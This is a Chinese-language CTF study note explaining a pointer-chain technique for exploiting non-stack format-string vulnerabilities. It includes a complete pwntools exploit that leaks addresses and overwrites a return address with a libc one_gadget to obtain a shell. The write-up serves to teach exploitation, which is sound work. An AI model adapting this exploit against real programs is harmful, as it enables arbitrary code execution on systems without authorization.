仅供个人学习参考
对于非栈上的格式化字符串漏洞,我们无法往栈上填入指针(指向目标地址的指针)来实现任意写,所以我们采取新的方式:利用指针链
首先要在栈上寻找像a-b-c这样的指针链(a,b,c均在栈上),然后我们便能利用%n(%hn,%hhn)来修改
假设offset表示格式化的参数位置。通过第offset0个参数,利用%hhn可以控制address1的最低位,再通过第offset1个参数,利用%hhn可以写address2的最低位;然后通过offset0参数,利用%hhn修改address1的最低位为原始值+1,再通过offset1参数,利用%hhn可以写address2的次低位;依次循环即可完全控制address2的值,再次利用address1和address2的链式结构,即可实现对address2地址空间的任意写。
“%{}c%{}$hhn”.format(address,offset)就是向offset参数指向的地址最低位写成address。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * io=process("./playfmt") elf=ELF("./playfmt") libc=ELF("/lib/i386-linux-gnu/libc.so.6") context.log_level="debug" context.terminal=['tmux','splitw','-h'] gdb.attach(io,"b *0x0804855F")
io.recv()
payload="%6$p%8$p" io.send(payload) io.recvuntil("0x") stack_real_addr=int(io.recv(8),16)-0xffffd048+0xffffd020 success("stack_real_addr:"+hex(stack_real_addr)) io.recvuntil("0x") _IO_2_1_stdout_real=int(io.recv(8),16) libc_addr=_IO_2_1_stdout_real-libc.sym['_IO_2_1_stdout_'] success("libc_addr:"+hex(libc_addr))
def write_address(off0,off1,target_addr): io.sendline("%{}$p".format(off1)) io.recvuntil("0x") addr1 = int(io.recv(8),16)&0xff io.recv() for i in range(4): io.sendline("%{}c%{}$hhn".format(addr1+i,off0)) io.recv() io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1)) io.recv() target_addr=target_addr>>8 io.sendline("%{}c%{}$hhn".format(addr1,off0)) io.recv()
one_gadget=libc_addr+0x67ccf print(hex(one_gadget)) offset0=6 offset1=10 offset2=14
write_address(offset0,offset1,stack_real_addr+0x1c) pause() write_address(offset1,offset2,one_gadget) pause() io.sendline("quit") io.interactive()
|
初始指针链为a-b-c-others ret-play
第一次调用write函数后栈上情况:
指针链变成a-b-c-ret-play
第二次调用write函数后栈上情况:
指针链变成a-b-c-ret-one_gadget ret-one_gadget
换个视角看是这样↓
调用write前
第一次调用write后
第二次调用write后
以上利用需要有循环触发格式化字符串漏洞的条件,并且栈上存在指针链,并且在这个过程中栈结构不被破坏